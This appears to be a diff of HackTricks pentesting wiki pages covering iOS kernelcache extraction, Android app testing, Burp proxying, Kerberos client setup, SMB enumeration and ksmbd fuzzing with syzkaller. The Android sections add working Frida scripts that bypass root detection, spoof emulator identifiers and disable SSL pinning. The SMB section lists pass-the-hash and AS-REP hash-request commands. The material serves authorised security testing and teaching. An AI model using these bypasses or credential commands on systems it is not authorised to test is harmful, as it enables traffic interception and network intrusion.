The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
|
||||
@ -137,7 +139,24 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
|
||||
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
|
||||
|
||||
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
|
||||
To **extract** the kernel cache you can do:
|
||||
|
||||
```bash
|
||||
# Install ipsw tool
|
||||
brew install blacktop/tap/ipsw
|
||||
|
||||
# Extract only the kernelcache from the IPSW
|
||||
ipsw extract --kernel /path/to/YourFirmware.ipsw -o out/
|
||||
|
||||
# You should get something like:
|
||||
# out/Firmware/kernelcache.release.iPhoneXX
|
||||
# or an IMG4 payload: out/Firmware/kernelcache.release.iPhoneXX.im4p
|
||||
|
||||
# If you get an IMG4 payload:
|
||||
ipsw img4 im4p extract out/Firmware/kernelcache*.im4p -o kcache.raw
|
||||
```
|
||||
|
||||
Another option to **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
|
||||
|
||||
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
|
||||
|
||||
@ -153,6 +172,16 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
### Inspecting kernelcache
|
||||
|
||||
Check if the kernelcache has symbols with
|
||||
|
@ -22,7 +22,7 @@ Port rights, which define what operations a task can perform, are key to this co
|
||||
|
||||
- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe).
|
||||
- A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t.
|
||||
- If the owner of the Receive right **dies** or kills it, the **send right became useless (dead name).**
|
||||
- If the owner of the Receive right **dies** or kills it, the **send right becomes useless (dead name).**
|
||||
- **Send right**, which allows sending messages to the port.
|
||||
- The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**.
|
||||
- Note that **port rights** can also be **passed** though Mac messages.
|
||||
|
@ -291,6 +291,14 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||
|
||||
Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
|
||||
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
|
||||
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
|
||||
- For screen mirroring, use scrcpy on the host
|
||||
|
||||
|
||||
|
||||
### Unintended Data Leakage
|
||||
|
||||
**Logging**
|
||||
@ -858,6 +866,7 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Yet to try
|
||||
|
||||
|
@ -41,6 +41,25 @@ These typically stub Java root/debug checks, process/service scans, and native p
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Automate with Medusa (Frida framework)
|
||||
|
||||
Medusa provides 90+ ready-made modules for SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, and more.
|
||||
|
||||
```bash
|
||||
git clone https://github.com/Ch0pin/medusa
|
||||
cd medusa
|
||||
pip install -r requirements.txt
|
||||
python medusa.py
|
||||
|
||||
# Example interactive workflow
|
||||
show categories
|
||||
use http_communications/multiple_unpinner
|
||||
use root_detection/universal_root_detection_bypass
|
||||
run com.target.app
|
||||
```
|
||||
|
||||
Tip: Medusa is great for quick wins before writing custom hooks. You can also cherry-pick modules and combine them with your own scripts.
|
||||
|
||||
## Step 3 — Bypass init-time detectors by attaching late
|
||||
|
||||
Many detections only run during process spawn/onCreate(). Spawn‑time injection (-f) or gadgets get caught; attaching after UI loads can slip past.
|
||||
@ -104,6 +123,14 @@ Java.perform(() => {
|
||||
});
|
||||
```
|
||||
|
||||
// Quick root detection stub example (adapt to target package/class names)
|
||||
Java.perform(() => {
|
||||
try {
|
||||
const RootChecker = Java.use('com.target.security.RootCheck');
|
||||
RootChecker.isDeviceRooted.implementation = function () { return false; };
|
||||
} catch (e) {}
|
||||
});
|
||||
|
||||
Log and neuter suspicious methods to confirm execution flow:
|
||||
|
||||
```js
|
||||
@ -116,6 +143,48 @@ Java.perform(() => {
|
||||
});
|
||||
```
|
||||
|
||||
## Bypass emulator/VM detection (Java stubs)
|
||||
|
||||
Common heuristics: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors.
|
||||
|
||||
Quick spoof of Build fields:
|
||||
```js
|
||||
Java.perform(function(){
|
||||
var Build = Java.use('android.os.Build');
|
||||
Build.MODEL.value = 'Pixel 7 Pro';
|
||||
Build.MANUFACTURER.value = 'Google';
|
||||
Build.BRAND.value = 'google';
|
||||
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
|
||||
});
|
||||
```
|
||||
|
||||
Complement with stubs for file existence checks and identifiers (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) to return realistic values.
|
||||
|
||||
## SSL pinning bypass quick hook (Java)
|
||||
|
||||
Neutralize custom TrustManagers and force permissive SSL contexts:
|
||||
```js
|
||||
Java.perform(function(){
|
||||
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
|
||||
var SSLContext = Java.use('javax.net.ssl.SSLContext');
|
||||
|
||||
// No-op validations
|
||||
X509TrustManager.checkClientTrusted.implementation = function(){ };
|
||||
X509TrustManager.checkServerTrusted.implementation = function(){ };
|
||||
|
||||
// Force permissive TrustManagers
|
||||
var TrustManagers = [ X509TrustManager.$new() ];
|
||||
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
|
||||
SSLContextInit.implementation = function(km, tm, sr){
|
||||
return SSLContextInit.call(this, km, TrustManagers, sr);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
Notes
|
||||
- Extend for OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier as needed, or use a universal unpinning script from CodeShare.
|
||||
- Run example: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
|
||||
|
||||
## Step 6 — Follow the JNI/native trail when Java hooks fail
|
||||
|
||||
Trace JNI entry points to locate native loaders and detection init:
|
||||
@ -165,6 +234,8 @@ Notes:
|
||||
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
|
||||
- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
|
||||
|
||||
Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes.
|
||||
|
||||
References:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
@ -226,5 +297,7 @@ apk-mitm app.apk
|
||||
- [r2frida](https://github.com/nowsecure/r2frida)
|
||||
- [Apktool install guide](https://apktool.org/docs/install)
|
||||
- [Magisk](https://github.com/topjohnwu/Magisk)
|
||||
- [Medusa (Android Frida framework)](https://github.com/Ch0pin/medusa)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -208,6 +208,59 @@ However there are **a lot of different command line useful options** that you ca
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Set emulated touch screen mode.
|
||||
- **`-writable-system`** : Use this option to have a writable system image during your emulation session. You will need also to run `adb root; adb remount`. This is very useful to install a new certificate in the system.
|
||||
|
||||
## Linux CLI setup (SDK/AVD quickstart)
|
||||
|
||||
The official CLI tools make it easy to create fast, debuggable emulators without Android Studio.
|
||||
|
||||
```bash
|
||||
# Directory layout
|
||||
mkdir -p ~/Android/cmdline-tools/latest
|
||||
|
||||
# Download commandline tools (Linux)
|
||||
wget https://dl.google.com/android/repository/commandlinetools-linux-13114758_latest.zip -O /tmp/cmdline-tools.zip
|
||||
unzip /tmp/cmdline-tools.zip -d ~/Android/cmdline-tools/latest
|
||||
rm /tmp/cmdline-tools.zip
|
||||
|
||||
# Env vars (add to ~/.bashrc or ~/.zshrc)
|
||||
export ANDROID_HOME=$HOME/Android
|
||||
export PATH=$ANDROID_HOME/cmdline-tools/latest/bin:$ANDROID_HOME/platform-tools:$ANDROID_HOME/emulator:$PATH
|
||||
|
||||
# Install core SDK components
|
||||
sdkmanager --install "platform-tools" "emulator"
|
||||
|
||||
# Install a debuggable x86_64 system image (Android 11 / API 30)
|
||||
sdkmanager --install "system-images;android-30;google_apis;x86_64"
|
||||
|
||||
# Create an AVD and run it with a writable /system & snapshot name
|
||||
avdmanager create avd -n PixelRootX86 -k "system-images;android-30;google_apis;x86_64" -d "pixel"
|
||||
emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
|
||||
|
||||
# Verify root (debuggable images allow `adb root`)
|
||||
adb root
|
||||
adb shell whoami # expect: root
|
||||
```
|
||||
|
||||
Notes
|
||||
- System image flavors: google_apis (debuggable, allows adb root), google_apis_playstore (not rootable), aosp/default (lightweight).
|
||||
- Build types: userdebug often allows `adb root` on debug-capable images. Play Store images are production builds and block root.
|
||||
- On x86_64 hosts, full-system ARM64 emulation is unsupported from API 28+. For Android 11+ use Google APIs/Play images that include per-app ARM-to-x86 translation to run many ARM-only apps quickly.
|
||||
|
||||
### Snapshots from CLI
|
||||
|
||||
```bash
|
||||
# Save a clean snapshot from the running emulator
|
||||
adb -s emulator-5554 emu avd snapshot save my_clean_setup
|
||||
|
||||
# Boot from a named snapshot (if it exists)
|
||||
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
|
||||
```
|
||||
|
||||
## ARM→x86 binary translation (Android 11+)
|
||||
|
||||
Google APIs and Play Store images on Android 11+ can translate ARM app binaries per process while keeping the rest of the system native x86/x86_64. This is often fast enough to test many ARM-only apps on desktop.
|
||||
|
||||
> Tip: Prefer Google APIs x86/x86_64 images during pentests. Play images are convenient but block `adb root`; use them only when you specifically require Play services and accept the lack of root.
|
||||
|
||||
## Rooting a Play Store device
|
||||
|
||||
If you downloaded a device with Play Store you are not going to be able to get root directly, and you will get this error message
|
||||
@ -236,6 +289,12 @@ You can **use the GUI** to take a snapshot of the VM at any time:
|
||||
|
||||
.png>)
|
||||
|
||||
## References
|
||||
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
|
||||
- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -26,6 +26,64 @@ frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
|
||||
## Frida server vs. Gadget (root vs. no-root)
|
||||
|
||||
Two common ways to instrument Android apps with Frida:
|
||||
|
||||
- Frida server (rooted devices): Push and run a native daemon that lets you attach to any process.
|
||||
- Frida Gadget (no root): Bundle Frida as a shared library inside the APK and auto-load it within the target process.
|
||||
|
||||
Frida server (rooted)
|
||||
|
||||
```bash
|
||||
# Download the matching frida-server binary for your device's arch
|
||||
# https://github.com/frida/frida/releases
|
||||
adb root
|
||||
adb push frida-server-<ver>-android-<arch> /data/local/tmp/frida-server
|
||||
adb shell chmod 755 /data/local/tmp/frida-server
|
||||
adb shell /data/local/tmp/frida-server & # run at boot via init/magisk if desired
|
||||
|
||||
# From host, list processes and attach
|
||||
frida-ps -Uai
|
||||
frida -U -n com.example.app
|
||||
```
|
||||
|
||||
Frida Gadget (no-root)
|
||||
|
||||
1) Unpack the APK, add the gadget .so and config:
|
||||
- Place libfrida-gadget.so into lib/<abi>/ (e.g., lib/arm64-v8a/)
|
||||
- Create assets/frida-gadget.config with your script loading settings
|
||||
|
||||
Example frida-gadget.config
|
||||
```json
|
||||
{
|
||||
"interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" },
|
||||
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
|
||||
}
|
||||
```
|
||||
|
||||
2) Reference/load the gadget so it’s initialized early:
|
||||
- Easiest: Add a small Java stub to System.loadLibrary("frida-gadget") in Application.onCreate(), or use native lib loading already present.
|
||||
|
||||
3) Repack and sign the APK, then install:
|
||||
```bash
|
||||
apktool d app.apk -o app_m
|
||||
# ... add gadget .so and config ...
|
||||
apktool b app_m -o app_gadget.apk
|
||||
uber-apk-signer -a app_gadget.apk -o out_signed
|
||||
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
|
||||
```
|
||||
|
||||
4) Attach from host to the gadget process:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
frida -U -n com.example.app
|
||||
```
|
||||
|
||||
Notes
|
||||
- Gadget is detected by some protections; keep names/paths stealthy and load late/conditionally if needed.
|
||||
- On hardened apps, prefer rooted testing with server + late attach, or combine with Magisk/Zygisk hiding.
|
||||
|
||||
## Tutorials
|
||||
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
@ -202,6 +260,12 @@ Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
|
||||
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -3,6 +3,20 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## System-wide proxy via ADB
|
||||
|
||||
Configure a global HTTP proxy so all apps route traffic through your interceptor (Burp/mitmproxy):
|
||||
|
||||
```bash
|
||||
# Set proxy (device/emulator must reach your host IP)
|
||||
adb shell settings put global http_proxy 192.168.1.2:8080
|
||||
|
||||
# Clear proxy
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
||||
Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners).
|
||||
|
||||
## On a Virtual Machine
|
||||
|
||||
First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
|
||||
@ -37,7 +51,7 @@ If you **rooted your device with Magisc** (maybe an emulator), and you **can't f
|
||||
|
||||
Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
|
||||
|
||||
1. **Install a CA certificate**: Just **drag\&drop** the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
|
||||
1. **Install a CA certificate**: Just **drag&drop** the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
|
||||
|
||||
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
@ -45,7 +59,7 @@ Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you n
|
||||
|
||||
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), **drag\&drop it** in the phone, go to the **Magics app** in the phone to the **`Modules`** section, click on **`Install from storage`**, select the `.zip` module and once installed **reboot** the phone:
|
||||
2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), **drag&drop it** in the phone, go to the **Magics app** in the phone to the **`Modules`** section, click on **`Install from storage`**, select the `.zip` module and once installed **reboot** the phone:
|
||||
|
||||
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
@ -152,10 +166,7 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
||||
|
||||
## References
|
||||
|
||||
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -19,6 +19,53 @@ PORT STATE SERVICE
|
||||
|
||||
### **To learn how to abuse Kerberos you should read the post about** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
|
||||
## Kerberos-only environments: client prep and troubleshooting
|
||||
|
||||
When NTLM is disabled on domain services (SMB/WinRM/etc.), you must authenticate with Kerberos. Common pitfalls and a working workflow:
|
||||
|
||||
- Time synchronization is mandatory. If your host clock is skewed by more than a few minutes you will see `KRB_AP_ERR_SKEW` and all Kerberos auth will fail. Sync against the DC:
|
||||
|
||||
```bash
|
||||
# quick one-shot sync (requires sudo)
|
||||
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||
```
|
||||
|
||||
- Generate a valid krb5.conf for the target realm/domain. `netexec` (CME fork) can output one for you while testing SMB:
|
||||
|
||||
```bash
|
||||
# Generate krb5.conf and install it
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
```
|
||||
|
||||
- Obtain a TGT and verify the ccache:
|
||||
|
||||
```bash
|
||||
kinit <user>
|
||||
klist
|
||||
```
|
||||
|
||||
- Use Kerberos with SMB tooling (no passwords sent, uses your ccache):
|
||||
|
||||
```bash
|
||||
# netexec / CME
|
||||
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||
# impacket examples also support -k / --no-pass to use the ccache
|
||||
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||
```
|
||||
|
||||
- GSSAPI SSH single sign-on (OpenSSH to Windows OpenSSH server):
|
||||
|
||||
```bash
|
||||
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
|
||||
Tips:
|
||||
- Ensure your `/etc/hosts` resolves the exact FQDN you will SSH/SMB to, and that it comes before any bare domain entries if you are overriding DNS. SPN mismatches break GSSAPI.
|
||||
- If NTLM is disabled on SMB you may see `STATUS_NOT_SUPPORTED` with NTLM attempts; add `-k` to force Kerberos.
|
||||
|
||||
## More
|
||||
|
||||
### Shodan
|
||||
@ -36,6 +83,13 @@ https://adsecurity.org/?p=541
|
||||
|
||||
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## References
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
```
|
||||
|
@ -269,8 +269,8 @@ done
|
||||
examples
|
||||
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
|
||||
### **Enumerate shares from Windows / without third-party tools**
|
||||
@ -402,6 +402,22 @@ smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
|
||||
In Kerberos-only environments (NTLM disabled), NTLM attempts against SMB may return `STATUS_NOT_SUPPORTED`. Fix common Kerberos issues and force Kerberos auth:
|
||||
|
||||
```bash
|
||||
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# use Kerberos with tooling (reads your TGT from ccache)
|
||||
netexec smb <dc.fqdn> -k
|
||||
```
|
||||
|
||||
For a complete client setup (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) see:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kerberos-88/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Execute Commands**
|
||||
|
||||
### **crackmapexec**
|
||||
@ -481,6 +497,12 @@ In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
|
||||
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
|
||||
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
||||
@ -554,8 +576,8 @@ Entry_1:
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
@ -591,5 +613,10 @@ Entry_6:
|
||||
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
## References
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,231 @@
|
||||
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
This page abstracts practical techniques to exercise and fuzz the Linux in-kernel SMB server (ksmbd) using syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations into weakly-covered code paths, and leveraging syzkaller features such as focus_areas and ANYBLOB. While the original research enumerates specific CVEs, here we emphasise the reusable methodology and concrete snippets you can adapt to your own setups.
|
||||
|
||||
Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple.
|
||||
|
||||
---
|
||||
|
||||
## Expand ksmbd Attack Surface via Configuration
|
||||
By default, a minimal ksmbd setup leaves large parts of the server untested. Enable the following features to drive the server through additional parsers/handlers and reach deeper code paths:
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
- Server multi-channel
|
||||
- SMB2 leases
|
||||
- Per-share-level
|
||||
- Oplocks (on by default)
|
||||
- VFS objects
|
||||
|
||||
Enabling these increases execution in modules such as:
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
- smbacl.c (ACL parsing/enforcement)
|
||||
- vfs.c (VFS ops)
|
||||
- vfs_cache.c (lookup cache)
|
||||
|
||||
Notes
|
||||
- Exact options depend on your distro’s ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects.
|
||||
- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.
|
||||
|
||||
---
|
||||
|
||||
## Authentication and Rate-Limiting Adjustments for Fuzzing
|
||||
SMB3 needs a valid session. Implementing Kerberos in harnesses adds complexity, so prefer NTLM/guest for fuzzing:
|
||||
|
||||
- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
|
||||
- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
|
||||
- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
|
||||
- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
|
||||
|
||||
Caution: These relaxations are to facilitate fuzzing only. Do not deploy with these settings in production.
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness: Extract Resources and Chain Requests
|
||||
SMB is stateful: many requests depend on identifiers returned by prior responses (SessionId, TreeID, FileID pairs). Your harness must parse responses and reuse IDs within the same program to reach deep handlers (e.g., smb2_create → smb2_ioctl → smb2_close).
|
||||
|
||||
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
|
||||
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
|
||||
switch (cmd_rsp) {
|
||||
case SMB2_TREE_CONNECT:
|
||||
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
|
||||
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_SESS_SETUP:
|
||||
// first session setup response carries session_id
|
||||
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
|
||||
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_CREATE:
|
||||
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
|
||||
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
|
||||
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Tips
|
||||
- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbd’s global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally.
|
||||
- Syzkaller’s experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead.
|
||||
|
||||
---
|
||||
|
||||
